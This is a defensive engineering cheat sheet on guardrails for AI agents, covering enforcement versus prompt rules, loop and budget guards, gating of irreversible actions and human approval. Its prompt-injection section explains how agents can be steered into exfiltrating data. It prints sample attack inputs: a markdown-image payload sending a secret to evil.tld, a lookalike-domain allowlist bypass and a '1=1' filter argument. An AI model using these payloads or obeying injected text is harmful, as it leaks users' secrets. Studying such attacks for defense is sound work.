Reliability and Guardrails

An agent’s control flow is chosen by a probabilistic model, so a guardrail is only as strong as the layer it lives in: prompt text shifts probabilities, harness code sets them to zero.

Advisory vs. enforcement

• Advisory: rule as tokens in the context window. Shifts logits toward compliance; P(violation) stays > 0 and decays as context grows.
• Enforcement: rule as code (authorize(), a missing credential, a refused socket). A branch, not a nudge; P(violation) = 0, constant at turn 40 as at turn 1.
• A forward pass never zeroes a token because an instruction said so. Only constrained decoding does: sets banned tokens’ logits to negative infinity, so softmax gives them exactly 0.
• “Model almost always complies” is not safety: per-run = p^N. At p=0.999, 0.999^40 ≈ 0.96, so ~4% of 40-step runs violate. At 10k runs/day that’s ~390 bad runs.
• Prompt rules also decay: attention weights sum to 1, so each new token shrinks an old rule’s share; recall is U-shaped (start/end reliable, middle lost). The rule keeps its start position but loses proximity.

Defense in depth (6 layers)

1 Input validation  -> injection screen, PII, size   (filter)
2 Model call        -> system prompt, tool set       (advisory)
3 Tool authorization-> can this, these args, now?    (LOAD-BEARING)
4 Execution sandbox -> blast radius                  (LOAD-BEARING)
5 Output validation -> schema, policy, citations     (filter)
6 Loop guards       -> steps, budget, repetition     (structural)

• Layers 3 and 4 are the only two whose guarantee survives a fully compromised model; they are capabilities, not filters. Filters (1, 2, 5) have a false-negative rate.
• Test for any guardrail: if the model were an adversary that read my system prompt, would this still hold?
• Rule of thumb: don’t put safety in the prompt; put it in the harness.

Infinite loops

• Loops self-reinforce: three identical (call, result) pairs are the strongest in-context copy signal, so the next call is more likely, not less (same mechanism as few-shot prompting).
• Three shapes need three detectors:

• sort_keys=True when hashing so key order doesn’t hide a repeat.
• Return contract: None = fine; a string = warn once (send back as failed tool_result, don’t run); raise LoopHalt on the second trip or when no remedy exists.
• Step cap raises (no remedy to feed back); repeat/cycle trips carry a remedy so they get one message first.
• check() runs once per tool_use block, not per turn. Read-only tools must not advance the cycle counter.
• Feed the trip back to the model: it lands at the highest-recall end, breaks the X,X,X copy pattern, and the model usually recovers next turn. A cap alone turns a loop into a timeout that burns the full budget.

Budget enforcement

• Steps are the wrong unit (one step can pull 200k tokens); bound money directly.
• Ledger: under 80% run; 80–100% run + inject “wrap up now”; over 100% halt with partial result. Charge actual reported usage, not a prediction.
• Charge all four disjoint usage fields; input_tokens excludes cached tokens, so a naive ledger sees ~53% of real spend.

• Cache break-even is 2 requests (1.25 + 0.10 = 1.35 < 2.00).
• max_tokens = hard cap, invisible to model, halts mid-sentence (enforcement). task_budget = stated allowance in context, model paces itself (advisory). Need both. Check stop_reason == "max_tokens" or ship truncation as success.

Irreversible actions

Sort every tool by reversibility: read-only -> auto; reversible write -> execute + record undo; irreversible low-blast -> confirm; irreversible high-blast -> not a tool, human runs it. Six controls, strongest (least-decaying) first:

1. Don’t expose the capability (read-only DB role) — nothing to bypass.
2. Least privilege per env — prod creds absent from agent’s environment.
3. Soft delete (deleted_at = now()) — changes the class, not the odds.
4. Propose-then-apply — approval flag set by a code path that is not a tool (the id is the second lock, not the first).
5. Human confirmation — absolute but rate-limited by attention.
6. Rate limits per action class — backstop when 1–5 fail.

• Recompute every gated quantity from the source of truth the side effect uses; an argument the model chose is a hint about intent, never a measurement. {"filter":"1=1","count":1} defeats a check that trusts count. The ledger owns the refund amount, not args["amount_cents"].
• Per-call checks don’t compose into per-run limits (25 refunds each under the cap = $12,499 out); only a counter over the action class sees the total.
• Bind approval to (tool, args_hash), never a per-run boolean.
• Denials return as tool_result (is_error=True), not exceptions: an unanswered tool_use makes the next request 400, and a specific denial lets the model self-correct.

Prompt injection & the lethal trifecta

• Untrusted text the agent reads can be obeyed as instruction. Can’t be fixed at the prompt layer: one token stream, no provenance in attention. Injected text is more recent (high-recall end) and more specific. <untrusted_content> tags are advisory only.
• Design assuming injection succeeds. Exfiltration needs three legs; only one is removable:

• Egress allowlist: exact membership on the parsed host (urlparse(url).hostname), lowercased. Never startswith/endswith (endswith("zendesk.com") allows evil.zendesk.com). Enforce at an egress proxy, not pre-request (redirects, DNS rebind, IP literals walk past a string check).
• An allowlisted host is not safe: it bounds where bytes go, not which. Any attacker-writable+readable allowlisted host (ticket system, wiki) is an exfil channel.
• Pair egress allowlist with a source-side path allowlist (realpath before testing) and a capability split (reader agent holds no egress tool). Rendered markdown images are egress too — ![](evil.tld/x?d=SECRET) fires from the user’s browser, bypassing http_get.

Error recovery & output validation

• Retry infrastructure failures in the harness; return semantic failures to the model.
  • Transient (429/503/timeout) -> retry with exponential backoff + jitter [0.5x, 1.5x], ~3 retries (1s/2s/4s). Malformed args / not-found -> back to model. Permission denied -> surface. Unknown -> log, return, count toward failure budget.
  • Showing a 503 to the model wastes tokens and adds copy-pattern fuel.
• Three counters: step_cap=40, consecutive_fails=5 (reset on success), total_fails=10 (never reset).
• Retried writes need a harness-generated idempotency key from (run_id, step, tool, args_hash) — a 503 can arrive after the write committed.
• Output validation — enforcement vs. filter:

• Grounding gate catches a fabricated id but misses a missing one unless you also flag a factual claim with zero citations. Keep makes_claim conservative (number/date/proper noun = claim).

Human in the loop

• Pause must persist to a checkpointer (durable store, survives process restart); the full message array including the awaiting tool_use block must survive. In-memory pause evaporates on deploy.
• A timeout branch is mandatory — waiting forever is a leak, not a safe state; decide escalate vs. abandon up front.
• Gate only on irreversibility, blast radius, cost, and low confidence. Over-gating causes approval fatigue -> rubber-stamping, which silently converts an enforcement gate back into an advisory one.